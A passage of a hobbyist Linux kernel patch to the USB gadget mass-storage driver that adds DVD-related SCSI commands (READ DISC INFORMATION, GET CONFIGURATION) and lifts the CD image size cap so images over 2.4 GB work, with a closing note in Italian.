+ outbuf[6] = 1;   /* last track of last session */
+ outbuf[7] = 0x20; /* unrestricted use */
+ outbuf[8] = 0x00; /* CD-ROM or DVD-ROM */
+ return 34;
+}
+
+static int do_get_configuration(struct fsg_common *common, struct fsg_buffhd *bh)
+{
+ struct fsg_lun *curlun = common->curlun;
+ if (common->cmnd[1] & ~0x02) { /* Mask away MSF */
+ curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
+ return -EINVAL;
+ }
+ u8* buf = (u8*)bh->buf;
+ int cur;
+ if ( curlun->num_sectors > CD_MAX_SECTORS )
+ {
+ printk("Is dvd\n");
+ cur = MMC_PROFILE_DVD_ROM;
+ }
+ else
+ cur = MMC_PROFILE_CD_ROM;
+ memset(buf,0,40);
+ put_unaligned_be32(36,&buf[0]);
+ put_unaligned_be16(cur,&buf[6]);
+ buf[10] = 0x03;
+ buf[11] = 8;
+ put_unaligned_be16(MMC_PROFILE_DVD_ROM,&buf[12]);
+ buf[14] = ( cur == MMC_PROFILE_DVD_ROM );
+ put_unaligned_be16(MMC_PROFILE_CD_ROM,&buf[16]);
+ buf[18] = ( cur == MMC_PROFILE_CD_ROM );
+ put_unaligned_be16(1,&buf[20]);
+ buf[22] = 0x08 | 0x03;
+ buf[23] = 8;
+ put_unaligned_be32(1,&buf[24]);
+ buf[28] = 1;
+ put_unaligned_be16(3,&buf[32]);
+ buf[34] = 0x08 | 0x3;
+ buf[35] = 4;
+ buf[36] = 0x39;
+ return 40;
+}
+
 static int do_read_toc(struct fsg_common *common, struct fsg_buffhd *bh)
 {
  struct fsg_lun *curlun = common->curlun;
@@ -1245,6 +1303,7 @@ static int do_read_toc(struct fsg_common *common, struct fsg_buffhd *bh)
  buf[14] = 0xAA; /* Lead-out track number */
  store_cdrom_address(&buf[16], msf, curlun->num_sectors);
  return 20;
+
 }
 
 static int do_mode_sense(struct fsg_common *common, struct fsg_buffhd *bh)
@@ -1727,9 +1786,9 @@ static int check_command(struct fsg_common *common, int cmnd_size,
  if (common->data_dir != DATA_DIR_UNKNOWN)
  sprintf(hdlen, ", H%c=%u", dirletter[(int) common->data_dir],
  common->data_size);
- VDBG(common, "SCSI command: %s;  Dc=%d, D%c=%u;  Hc=%d%s\n",
-      name, cmnd_size, dirletter[(int) data_dir],
-      common->data_size_from_cmnd, common->cmnd_size, hdlen);
+ //printk( "SCSI command: %s;  Dc=%d, D%c=%u;  Hc=%d%s\n",
+   //   name, cmnd_size, dirletter[(int) data_dir],
+  //    common->data_size_from_cmnd, common->cmnd_size, hdlen);
 
  /*
   * We can't reply at all until we know the correct data direction
@@ -2087,7 +2146,21 @@ static int do_scsi_command(struct fsg_common *common)
  if (reply == 0)
  reply = do_write(common);
  break;
-
+ case 0x51://READ_DISC_INFORMATION
+ common->data_size_from_cmnd = 0;
+ if (!common->curlun || !common->curlun->cdrom)
+ goto unknown_cmnd;
+ printk("READ_DISC_INFORMATION\n");
+
+ reply = do_read_disc_information(common,bh);
+    break;
+ case 0x46://GET_CONFIGURATION
+ common->data_size_from_cmnd = 0;
+ if (!common->curlun || !common->curlun->cdrom)
+ goto unknown_cmnd;
+ printk("GET_CONFIGURATION\n");
+ reply = do_get_configuration(common,bh);
+ break;
  /*
   * Some mandatory commands that we recognize but don't implement.
   * They don't mean much in this setting.  It's left as an exercise
diff --git a/drivers/usb/gadget/storage_common.c b/drivers/usb/gadget/storage_common.c
index 0e3ae43..f328ab6 100644
--- a/drivers/usb/gadget/storage_common.c
+++ b/drivers/usb/gadget/storage_common.c
@@ -124,6 +124,42 @@ struct interrupt_data {
 #define SS_WRITE_ERROR 0x030c02
 #define SS_WRITE_PROTECTED 0x072700
 
+#define CD_MINS                       80 /* max. minutes per CD */
+#define CD_SECS                       60 /* seconds per minute */
+#define CD_FRAMES                     75 /* frames per second */
+#define CD_FRAMESIZE                2048 /* bytes per frame, "cooked" mode */
+#define CD_MAX_BYTES       (CD_MINS * CD_SECS * CD_FRAMES * CD_FRAMESIZE)
+#define CD_MAX_SECTORS     (CD_MAX_BYTES / 512)
+
+#define MMC_PROFILE_NONE                0x0000
+#define MMC_PROFILE_CD_ROM              0x0008
+#define MMC_PROFILE_CD_R                0x0009
+#define MMC_PROFILE_CD_RW               0x000A
+#define MMC_PROFILE_DVD_ROM             0x0010
+#define MMC_PROFILE_DVD_R_SR            0x0011
+#define MMC_PROFILE_DVD_RAM             0x0012
+#define MMC_PROFILE_DVD_RW_RO           0x0013
+#define MMC_PROFILE_DVD_RW_SR           0x0014
+#define MMC_PROFILE_DVD_R_DL_SR         0x0015
+#define MMC_PROFILE_DVD_R_DL_JR         0x0016
+#define MMC_PROFILE_DVD_RW_DL           0x0017
+#define MMC_PROFILE_DVD_DDR             0x0018
+#define MMC_PROFILE_DVD_PLUS_RW         0x001A
+#define MMC_PROFILE_DVD_PLUS_R          0x001B
+#define MMC_PROFILE_DVD_PLUS_RW_DL      0x002A
+#define MMC_PROFILE_DVD_PLUS_R_DL       0x002B
+#define MMC_PROFILE_BD_ROM              0x0040
+#define MMC_PROFILE_BD_R_SRM            0x0041
+#define MMC_PROFILE_BD_R_RRM            0x0042
+#define MMC_PROFILE_BD_RE               0x0043
+#define MMC_PROFILE_HDDVD_ROM           0x0050
+#define MMC_PROFILE_HDDVD_R             0x0051
+#define MMC_PROFILE_HDDVD_RAM           0x0052
+#define MMC_PROFILE_HDDVD_RW            0x0053
+#define MMC_PROFILE_HDDVD_R_DL          0x0058
+#define MMC_PROFILE_HDDVD_RW_DL         0x005A
+#define MMC_PROFILE_INVALID             0xFFFF
+
 #define SK(x) ((u8) ((x) >> 16)) /* Sense Key byte, etc. */
 #define ASC(x) ((u8) ((x) >> 8))
 #define ASCQ(x) ((u8) (x))
@@ -165,7 +201,6 @@ static inline struct fsg_lun *fsg_lun_from_dev(struct device *dev)
  return container_of(dev, struct fsg_lun, dev);
 }
 
-
 /* Big enough to hold our biggest descriptor */
 #define EP0_BUFSIZE 256
 #define DELAYED_STATUS (EP0_BUFSIZE + 999) /* An impossibly large value */
@@ -540,12 +575,12 @@ static int fsg_lun_open(struct fsg_lun *curlun, const char *filename)
  min_sectors = 1;
  if (curlun->cdrom) {
  min_sectors = 300; /* Smallest track is 300 frames */
- if (num_sectors >= 256*60*75) {
+ /*if (num_sectors >= 256*60*75) {
  num_sectors = 256*60*75 - 1;
  LINFO(curlun, "file too big: %s\n", filename);
  LINFO(curlun, "using only first %d blocks\n",
  (int) num_sectors);
- }
+ }*/
  }
  if (num_sectors < min_sectors) {
  LINFO(curlun, "file too small: %s\n", filename);
@@ -562,6 +597,7 @@ static int fsg_lun_open(struct fsg_lun *curlun, const char *filename)
  curlun->filp = filp;
  curlun->file_length = size;
  curlun->num_sectors = num_sectors;
+ printk("lun_open: %zd\n",curlun->num_sectors-1);
  LDBG(curlun, "open backing file: %s\n", filename);
  return 0;
 
@@ -596,6 +632,8 @@ static void store_cdrom_address(u8 *dest, int msf, u32 addr)
  addr /= 75;
  dest[2] = addr % 60; /* Seconds */
  addr /= 60;
+ if ( addr > 255 )
+ printk("store_cdrom_address: overflow \n");
  dest[1] = addr; /* Minutes */
  dest[0] = 0; /* Reserved */
  } else {


Questa patch applicata al kernel che si sta compilando permette di ottenere il driver modificato con il supporto alle immagini > 2.4 GB